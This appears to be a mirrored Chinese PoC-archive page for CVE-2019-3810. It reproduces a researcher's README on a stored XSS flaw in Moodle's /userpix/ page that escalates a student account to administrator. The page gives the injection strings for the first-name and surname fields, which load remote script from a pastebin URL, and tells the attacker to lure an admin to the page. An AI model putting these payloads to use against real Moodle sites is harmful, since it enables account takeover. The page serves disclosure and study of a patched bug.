目标达成 感谢每一位支持者 — 我们达成了 100% 目标!

目标: 1000 元 · 已筹: 1336

100%

CVE-2019-3810 PoC — Moodle 跨站脚本漏洞

来源
关联漏洞
标题:Moodle 跨站脚本漏洞 (CVE-2019-3810)
Description:Moodle是一套免费、开源的电子学习软件平台,也称课程管理系统、学习管理系统或虚拟学习环境。 Moodle中存在跨站脚本漏洞。攻击者可利用该漏洞绕过安全限制,执行未授权的操作。以下版本受到影响:Moodle 3.6版本至3.6.1版本,3.5版本至3.5.3版本,3.4版本至3.4.6版本,3.1版本至3.1.15版本。
Description
Moodle (< 3.6.2, < 3.5.4, < 3.4.7, < 3.1.16) XSS PoC for Privilege Escalation (Student to Admin)
介绍
# Moodle CVE-2019-3810

Moodle (< 3.6.2, < 3.5.4, < 3.4.7, < 3.1.16) XSS PoC for Privilege Escalation (Student to Admin). This is one of the past bugs that I discovered during past pentest in an academic institution. It was successful enough at the time to practically steal admin access and gain complete control over Moodle using just one simple bug.

We can see from [the git history](https://github.com/moodle/moodle/blame/785e29e954f601a4f8d406aa0f3c9dba001d5018/userpix/index.php#L16), the bug existed since old versions of Moodle (2003) and [just patched in 2019](https://github.com/moodle/moodle/commit/14f9bad3cebf1aa6bb73be48020653e1f792dc29).

Timeline:
- December 2018 - Reported the bug to Moodle
- January 2019 - Patch released
- April 2021 - PoC disclosure

## WARNING

FOR EDUCATIONAL PURPOSES ONLY. DO NOT USE THE EXPLOIT FOR ILLEGAL ACTIVITIES. THE AUTHOR IS NOT RESPONSIBLE FOR ANY MISUSE OR DAMAGE.

## PoC

1. Upload the [payload.js](payload.js) to pastebin or other similar service. Change the value of `userid` to your own id. Let's say the URL is `https://pastebin.com/raw/xxxxxxxx`.
2. Login to your student account.
3. Set first name with `" style="position:fixed;height:100%;width:100%;top:0;left:0" onmouseover="x=document.createElement`
4. Set surname with `('script');x.src='https://pastebin.com/raw/xxxxxxxx';document.body.appendChild(x); alert('XSS')`
5. Ask the administrator to open `/userpix/` page or put the link to that page on your post and wait.

If successful, your account will be added as administrator.

[Demonstration video](moodle-xss-privilege-escalation.mp4)
文件快照

登录后查看神龙缓存的 POC 文件快照

登录查看
备注
    1. 建议优先通过来源进行访问。
    2. 本地 POC 快照面向订阅用户开放;当原始来源失效或无法访问时,本地镜像作为订阅权益的一部分提供。
    3. 持续抓取、验证、维护这份 POC 档案需要不少投入,因此本地快照已纳入付费订阅。您的订阅是让这份资料能继续走下去的关键,由衷感谢。 查看订阅方案 →